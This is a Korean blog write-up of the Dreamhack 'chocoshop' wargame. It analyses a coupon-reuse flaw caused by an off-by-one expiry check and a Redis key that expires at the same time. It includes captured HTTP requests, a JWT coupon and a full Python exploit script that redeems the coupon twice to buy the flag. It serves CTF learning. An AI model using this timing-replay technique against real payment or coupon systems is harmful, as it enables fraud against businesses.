https://dreamhack.io/wargame/challenges/106
안녕하세요.
이번 포스팅에서는 드림핵 3레벨 chocoshop 문제에 대한 분석을 해보겠습니다.
이 문제의 힌트는 사용된 쿠폰을 검사하는 로직이 취약하다고 합니다.
코드도 150줄이 되니 필요한 코드만 일목요연하게 분석해보겠습니다.
@app.route('/session')
def make_session():
uuid = uuid4().hex
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
{'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
return jsonify({'session': uuid})
사용자가 /session 경로로 접속한다면 uuid4의 값을 헥스로 변환하여 할당해줍니다.
그리고 redis를 이용하여 세션에는 uuid 값을 등록해주고, 만료시간은 10초로 설정합니다.
uuid 세션키에 대한 값은 uuid, coupon_claimed, money 값 3가지로 구성된 json 포맷데이터입니다.
그리고 이 값을 리턴시켜줍니다.
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
if user['coupon_claimed']:
raise BadRequest('You already claimed the coupon!')
coupon_uuid = uuid4().hex
data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
uuid = user['uuid']
user['coupon_claimed'] = True
coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
return jsonify({'coupon': coupon})
/coupon/claim 페이지에서는 user 딕셔너리에서 coupon_claimed 값을 확인하여
참일 경우 이미 쿠폰을 발급받았다는 문구와 함께 리턴시킵니다.
거짓일 경우엔 coupon_uuid를 랜덤한 값으로 부여한 뒤
coupon_claimed 값을 True로 설정하며 쿠폰의 만료 시간은 현재 시간으로부터
static으로 선언한 COUPON_EXPIRATION_DELTA 값으로 설정합니다.
그리고 이렇게 발급한 쿠폰을 jwt 토큰으로 발행하여 뿌려줍니다.
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
coupon = request.headers.get('coupon', None)
if coupon is None:
raise BadRequest('Missing Coupon')
try:
coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
except:
raise BadRequest('Invalid coupon')
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
rate_limit_key = f'RATELIMIT:{user["uuid"]}'
if r.setnx(rate_limit_key, 1):
r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
else:
raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
# success, we don't need to keep it after expiration time
if user['uuid'] != coupon['user']:
raise Unauthorized('You cannot submit others\' coupon!')
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
마지막으로 쿠폰 사용 로직입니다.
만약 쿠폰에서 설정한 만료시간이 지났다면 만료를 시키는데,
이때 만료가 되었는지 확인하는 로직은
만료 시간이 현재 시간보다 클 경우 리턴합니다.
COUPON_EXPIRATION_DELTA = 45
서버에서는 static으로 선언한 만료시간을 45초로 설정한 것을 볼 수 있는데,
이는 현재 발행된 시점으로부터 45초동안 쿠폰이 유효하고,
그 시간이 지나면 만료된다는 것입니다.
즉 예를 들어 현재 시간이 00분 00초라고 가정하면
이 쿠폰은 00분 45초에 만료됩니다.
여기서 coupon['expiration']에 존재하는 값은 45가 될것인데,
이 값이 현재 시간보다 작은 경우는 현재 시간이 46이 되는 경우입니다.
연산자로 <를 사용했으니 만약 현재 시간이 45가 되는 경우에는
조건문을 패스하게 되는 취약점이 존재합니다.
이 조건을 건너 뛰게 된다면 다음으로는 쿠폰의 사용 여부를 체크합니다.
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
인터넷에서 해설 쓰신 분들 중에 여기서 쿠폰 우회가 발생하는 포인트를
잘못 짚으신 분들이 몇분 계시는 것 같습니다.
위에서 쿠폰 만료시간 체크 로직을 우회한 다음 만나게되는 코드는 이 코드입니다
문제 풀이에 필요없는 코드는 지워서 조금 간결해졌습니다.
redis로부터 used_coupon을 가져옵니다.
이때 이 값이 없다면 1로 설정하고, 값이 있다면
"Your coupon is aleady submitted!" 라는문구와 함께 리턴을 시킵니다.
즉 쿠폰을 사용하면 used_coupon이라는 것이 세팅된다는 것을 알 수 있죠.
실제로 이 값이 없었을 때는 1로 세팅하며 이후 로직에서는
used_coupon에 대한 정보를 ( coupon['expiration'] - 현재시간 )값으로
세팅하고 있는 것을 볼 수 있습니다.
coupon['expiration'] 값은 현재 시간으로부터 45초 이후의 시간인데
여기서 현재 시간을 뺀다면 45초가 될 것입니다.
즉 used_coupon 정보의 만료시간은 쿠폰을 사용한 뒤 45초가 지난 이후입니다.
이를 정리해서 말하자면
이를 통해서 취약점을 공격하자면
쿠폰을 발급하자마자 사용한 뒤 45초가 지나면 used_coupon 정보가 초기화됩니다.
즉 이 쿠폰은 이제 사용한 흔적이 사라지며
동시에 1초가 지났을 때는 사용하지 못하는 쿠폰이 됩니다.
그래서 사용 시점으로부터 45초가 지나서
used_coupon 정보는 사라지고 만료 시간 체크 로직이 우회되는 찰나의 시간에
다시 쿠폰을 등록하면 등록이 되는 취약점이 발생합니다.
현재 쿠폰은 1회 등록당 1000원을 반환해주는데 flag는 2000원이 필요하여
쿠폰을 1번만 더 등록하면 플래그를 얻을 수 있습니다.
공격 스크립트를 작성하기 위해서 웹 서버의 로직부터 알아봅니다.
Acquire Session 버튼을 눌러서 세션을 발급받을 때 버프스위트로 패킷을 잡아봅니다.
GET /session HTTP/1.1
Host: host3.dreamhack.games:18542
Accept-Language: ko-KR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://host3.dreamhack.games:18542/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
GET /me HTTP/1.1
Host: host3.dreamhack.games:18542
Accept-Language: ko-KR
Authorization: ccf189f867794d3eb5b9b5546df40d47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://host3.dreamhack.games:18542/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
처음에 session 페이지로 전송이 되었다가 /me 페이지로 리디렉션이 됩니다.
이때 이 페이지에서는 Authorization 헤더를 통해서 발급된 세션값을 전송합니다.
세션값과 전송 데이터가 일치하며 money는 0으로 세팅되어 있고
coupon_claimed는 false로 설정되어 있습니다.
이제 쿠폰이 생겼으니 이 쿠폰을 등록해보겠습니다.
GET /coupon/claim HTTP/1.1
Host: host3.dreamhack.games:18542
Accept-Language: ko-KR
Authorization: ccf189f867794d3eb5b9b5546df40d47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://host3.dreamhack.games:18542/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Claim 버튼을 누르게 되면 /coupon/claim으로 Authorization 헤더를 통해 uuid 값을 전송합니다.
발행받은 jwt 토큰을 디코딩 했을때 쿠폰에 대한 정보가 출력되는데,
이 값은 변조하지 못합니다.
서버에서는 32바이트의 랜덤값을 가지는 키를 가지고 있어서 무결성 검증에서 걸리기 때문입니다.
이제 이 쿠폰을 등록하겠습니다.
GET /coupon/submit HTTP/1.1
Host: host3.dreamhack.games:18542
coupon: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1dWlkIjoiYmFlOGMyNjUwZWI2NDZmYjg1MDkyMDMxOTJlMjA0OWEiLCJ1c2VyIjoiY2NmMTg5Zjg2Nzc5NGQzZWI1YjliNTU0NmRmNDBkNDciLCJhbW91bnQiOjEwMDAsImV4cGlyYXRpb24iOjE3MjU4MzAyNzR9.Zbyzuw3XB6dST8vYlXAKBLv8wfcuBKJ4IqE-wauKCg0
Accept-Language: ko-KR
Authorization: ccf189f867794d3eb5b9b5546df40d47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://host3.dreamhack.games:18542/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
등록은 /coupon/submit으로 전송이 되며
coupon의 헤더값에 jwt 토큰값이 입력되고
Authorization에는 세션값이 입력됨을 알 수 있습니다.
이제 마지막으로 플래그를 구매하는 로직을 보겠습니다.
GET /flag/claim HTTP/1.1
Host: host3.dreamhack.games:18542
Accept-Language: ko-KR
Authorization: 27c8725729614ae2925386b2e619aead
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://host3.dreamhack.games:18542/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
구매를 요청하면 Authorization 값만 전송하고 토큰정보는 따로 전송은 안 하네요
그러면 이렇게 정리한 로직을 토대로 파이썬 공격 스크립트를 작성해보도록 하겠습니다.
import requests
import json
import time
url = 'http://host3.dreamhack.games:13590/'
def createSession():
response = requests.get(f'{url}session')
data = json.loads(response.text.strip())['session']
return data
우선 헤더값을 세팅하려면 session 경로에 접근해야하기 때문에
requests 모듈을 사용하여 session 경로에 접근한 뒤,
이 리턴값을 json.loads를 사용하여 json 포매팅을 합니다.
strip() 함수를 사용한 이유는 이렇게 하지 않으면 문자열이 바이트로 반환되며
마지막에 개행문자인 "\n"가 추가되길래 문자열로 전환해줬습니다.
json으로 변환되었기 때문에 딕셔너리로 접근이 가능하여 session이라는 키에 대한 value를 파싱합니다.
그 값을 data라고 넣은뒤 리턴시켜줍니다.
def createToken(header):
response = requests.get(f'{url}coupon/claim', headers=header)
jwtToken = json.loads(response.text.strip())['coupon']
return jwtToken
def main():
header = {"Authorization": createSession()}
그 다음 토큰을 생성하는 함수입니다.
coupon/claim 경로에 접근하는데, 이때 세션키가 필요하기 때문에 생성한 세션키를
헤더 정보에 삽입합니다.
헤더는 Authorization이며 값은 이전에 정의한 함수의 리턴값으로 합니다.
def exchangeCoupon(jwtToken, data):
header_with_coupon = {"Authorization": data["Authorization"], "coupon": jwtToken}
response = requests.get(f'{url}coupon/submit', headers=header_with_coupon)
if(response.status_code == 200):
print(f'[+] Coupon is issued !')
print(f'[+] statusMessage : {response.text}')
time.sleep(45)
response = requests.get(f'{url}coupon/submit', headers=header_with_coupon)
if (response.status_code == 200):
print(f'[+] Coupon is in a row issued !')
print(f'[+]statusMessage : {response.text}')
response = requests.get(f'{url}flag/claim', headers=data)
print(f'[+] The Flag is {json.loads(response.text.strip())["message"]}')
else:
print(f'[-] Coupon was not issued')
print(f'[-] statusMessage : {response.text}')
else:
print(f'[-] Coupon was not issued')
print(f'[-] statusMessage : {response.text}')
마지막으로 쿠폰을 통해서 재화로 바꾸는함수입니다.
여기서는 토큰값과 세션값이 둘다 각각의 헤더로 필요하기 때문에 헤더 정보를 재정의합니다.
Authorization에서 data["Authorization"]을 통해 값을 할당시킨 이유는
data 자체가 {"Autorization" : "세션값" } 형식으로 포매팅 되어있어서
헤더값 자체에 딕셔너리 형태로 전달되기 때문에 이것을 막기 위해서 값만 가져왔습니다.
그 다음 쿠폰을 등록하는 요청을 전송한 뒤,
상태코드가 200이면 요청 성공과 함께 반환된 HTML 코드를 리턴합니다.
time.sleep(45)를 이용해서 요청으로부터 정확히 45초가 지난 시점에
다시 한 번 요청을 전송합니다.
이때 상태코드가 200이라는 것은 쿠폰이 2번 사용되었다는 뜻이니
재화는 2000원이 되어 플래그를 구매할 수 있습니다.
그래서 /flag/claim 경로로 이동하여 플래그를 구매한 뒤
구매한 페이지에서 리턴되는 HTML 코드인 json 형태에서
message 값만 가져와서 플래그 형태로 노출시킵니다.
전체 코드
import requests
import json
import time
url = 'http://host3.dreamhack.games:13590/'
def createSession():
response = requests.get(f'{url}session')
data = json.loads(response.text.strip())['session']
return data
def createToken(header):
response = requests.get(f'{url}coupon/claim', headers=header)
jwtToken = json.loads(response.text.strip())['coupon']
return jwtToken
def exchangeCoupon(jwtToken, data):
header_with_coupon = {"Authorization": data["Authorization"], "coupon": jwtToken}
response = requests.get(f'{url}coupon/submit', headers=header_with_coupon)
if(response.status_code == 200):
print(f'[+] Coupon is issued !')
print(f'[+] statusMessage : {response.text}')
time.sleep(45)
response = requests.get(f'{url}coupon/submit', headers=header_with_coupon)
if (response.status_code == 200):
print(f'[+] Coupon is in a row issued !')
print(f'[+]statusMessage : {response.text}')
response = requests.get(f'{url}flag/claim', headers=data)
print(f'[+] The Flag is {json.loads(response.text.strip())["message"]}')
else:
print(f'[-] Coupon was not issued')
print(f'[-] statusMessage : {response.text}')
else:
print(f'[-] Coupon was not issued')
print(f'[-] statusMessage : {response.text}')
def main():
header = {"Authorization": createSession()}
exchangeCoupon(createToken(header), header)
main()
[DreamHack] development-env (1) | 2024.09.24 |
---|---|
[DreamHack] Relative Path Overwrite (1) | 2024.09.11 |